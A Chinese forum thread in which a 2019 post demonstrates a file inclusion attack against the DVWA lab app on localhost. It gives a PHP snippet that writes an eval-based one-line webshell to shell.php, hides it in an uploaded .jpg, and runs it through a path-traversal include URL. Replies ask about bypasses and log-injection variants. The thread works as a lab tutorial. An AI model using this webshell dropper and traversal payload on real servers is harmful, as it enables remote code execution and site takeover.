文件包含
本帖最后由 bailancheng 于 2019-10-17 20:41 编辑文件包含漏洞
PHP解析漏洞:
01.txt是一个正常的文本文件,但文件内容却是符合PHP语法的代码:
在记事本中写入下面这段代码,保存成jpg文件。
<?php
phpinfo();
?>
利用文件包含漏洞包含01.txt,其中的代码被正确执行了。
将01.txt的扩展名改为jpg、rar、doc、xxx等,都可以执行。
只要文件内容符合PHP语法规范,那么任何扩展名都可以被PHP解析
接下来开始输入一句话木马:
<?php
fwrite(fopen("shell.php","w"),’<?php eval($_POST); ?>’);
?>
开始上传:
首先将级别改为最高,然后开始上传
点击上传后:
在\AppServ\www\dvwa\vulnerabilities\fi目录中生成shell.php文件,文件内容正是一句话木马。
接下来修改漏洞级别为low使用文件上传,通过文件包含漏洞执行jpg文件中的代码
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=../../hackable/uploads/ma.jpg
测试shell.php:
什么都不显示表示有这个目录,已经生成了
Re: 文件包含
感谢楼主的详细讲解,文件包含漏洞配合文件上传确实能产生很大危害。你演示的通过上传图片马再包含执行,思路很清晰,特别是用 fwrite 动态生成 shell.php 的方法很实用。 不过也想提醒一下,实际渗透中很多高版本环境可能会对文件内容做检测,比如检查图片头或执行权限限制,此外日志注入、php: 等也是常见的文件包含利用方式。楼主有没有遇到绕过限制的更多技巧?Re: 文件包含
感谢楼主的详细演示,把文件包含漏洞和PHP解析机制讲得很清楚。之前一直不太理解为什么非php后缀也能执行代码,看了这个例子就明白了:关键是文件内容符合PHP语法,跟扩展名无关。另外用文件包含去调用jpg里的一句话木马这个方法也很巧妙,学习了!Re: 文件包含
感谢楼主的分享,很详细地演示了文件包含漏洞与PHP解析漏洞结合利用的过程。这种通过上传非php后缀文件(如jpg)再包含执行的思路确实经典,也提醒我们在实际开发中要严格限制文件上传类型,同时注意文件包含函数的参数过滤。请问楼主在测试中是否遇到过某些环境对`allow_url_include`或路径处理有额外的限制?另外,如果是Windows环境,路径写法上有什么需要注意的地方吗?
页:
[1]